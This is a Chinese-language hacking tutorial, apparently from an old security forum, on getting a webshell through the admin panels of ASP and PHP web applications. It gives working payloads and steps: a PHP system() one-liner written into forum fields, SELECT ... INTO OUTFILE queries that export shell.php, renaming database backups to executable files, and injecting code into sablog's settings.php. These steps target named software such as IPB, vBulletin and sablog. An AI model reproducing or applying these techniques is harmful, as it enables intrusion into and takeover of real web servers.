asp+acc/mssql程序
主要是利用后臺(tái)對(duì)access數(shù)據(jù)庫(kù)的“備份數(shù)據(jù)庫(kù)”或“恢復(fù)數(shù)據(jù)庫(kù)”功能,“備份的數(shù)據(jù)庫(kù)路徑”等變量沒有過濾導(dǎo)致可以把任意文件后綴改為asp,從而得到webshell,msssql版的程序就直接應(yīng)用了access版的代碼,導(dǎo)致sql版照樣可以利用。具體方法和分析可以參考angel的文章《動(dòng)網(wǎng)論壇7.0獲得WebShell的分析》。據(jù)我所知,目前還有很多的asp程序后臺(tái)存在這樣的漏洞,利用方法大同小異。
php+mysql程序
① 利用后臺(tái)的數(shù)據(jù)查詢功能
在有的程序后臺(tái)提供直接對(duì)mysql數(shù)據(jù)查詢功能,我們就可以利用它執(zhí)行SELECT ... INTO OUTFILE查詢輸出php文件,因?yàn)樗械臄?shù)據(jù)是存放在mysql里的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用SELECT ... INTO OUTFILE語(yǔ)句導(dǎo)出shell。我們這里用ipb論壇做個(gè)演示:
第一步:把我們的webshell代碼寫入數(shù)據(jù)庫(kù)
隨便找個(gè)可以寫入的地方(注意對(duì)你輸入的要沒有進(jìn)行過濾),這里我們就用后臺(tái)的新建立個(gè)論壇,在論壇描敘里寫入我們的shell代碼<?system($c);?> 提交 ok這樣就把我們的shell寫入了數(shù)據(jù)庫(kù)了。
第二步:導(dǎo)出webshell
我們來到“SQL Management”里的“mySQL Toolbox”在“Run Query”里寫入語(yǔ)句:
SELECT * FROM 123forums into OUTFILE 'd:\shell.php'
shell代碼所在的表,web目錄絕對(duì)路徑,如果主機(jī)mysql查詢成功,我們就得到我們webshell:
http://127.0.0.1/test/shell.php?c=dir
② 利用mysql數(shù)據(jù)備用
思路結(jié)合上面的2種情況,有的程序在備用數(shù)據(jù)庫(kù)時(shí) 對(duì)備用文件的類型沒有限制,從而導(dǎo)出php文件,我們和①中那樣,通過把webshell代碼寫入數(shù)據(jù)庫(kù)中,在利用數(shù)據(jù)備用導(dǎo)出webshell,我們大家熟悉的vbb論壇就可以用這個(gè)方法來得到webshell,我們?cè)O(shè)置用戶的簽名為<?system($c);?> 然后到后臺(tái)的數(shù)據(jù)庫(kù)備份,在“在服務(wù)器上備份數(shù)據(jù)庫(kù)到文件”里改為shell.php,提交保存。我們就可以在論壇的根目錄下訪問我們的shell了,因?yàn)榭赡艿教幍奈募容^大,我們可以換一個(gè)可以生成文件的webshell代碼。
補(bǔ)充思路
利用web后臺(tái)系統(tǒng)設(shè)置,如果是系統(tǒng)設(shè)置是保存在php/asp文件了,我們可以同過在設(shè)置里寫入webshell代碼到保存設(shè)置的php/asp文件了.
演示
程序sablog,sablog的基本設(shè)置保存在admin\settings.php 由于后臺(tái)在提交設(shè)置的變量十沒有過濾,導(dǎo)致我們可以向admin\settings.php寫入任意代碼。
進(jìn)入后臺(tái)--“基本設(shè)置”--“blog名稱”(其他項(xiàng)也可以)--填入代碼:sss";phpinfo();"ss --提交。
這樣我們就把phpinfo()寫入了admin\settings.php,我們可以看到admin\settings.php正常顯示php的信息。
小結(jié)
上面是php等系統(tǒng)的演示,同樣也適合asp等其他的系統(tǒng)(比如動(dòng)力,驚云下載等等)。只是注意在寫代碼的時(shí)候要小心,如果代碼有錯(cuò),可能導(dǎo)致整個(gè)web系統(tǒng)的癱瘓。
還有一個(gè)是利用上傳漏洞的 這個(gè)就不要多說了 呵呵:)。
聯(lián)系客服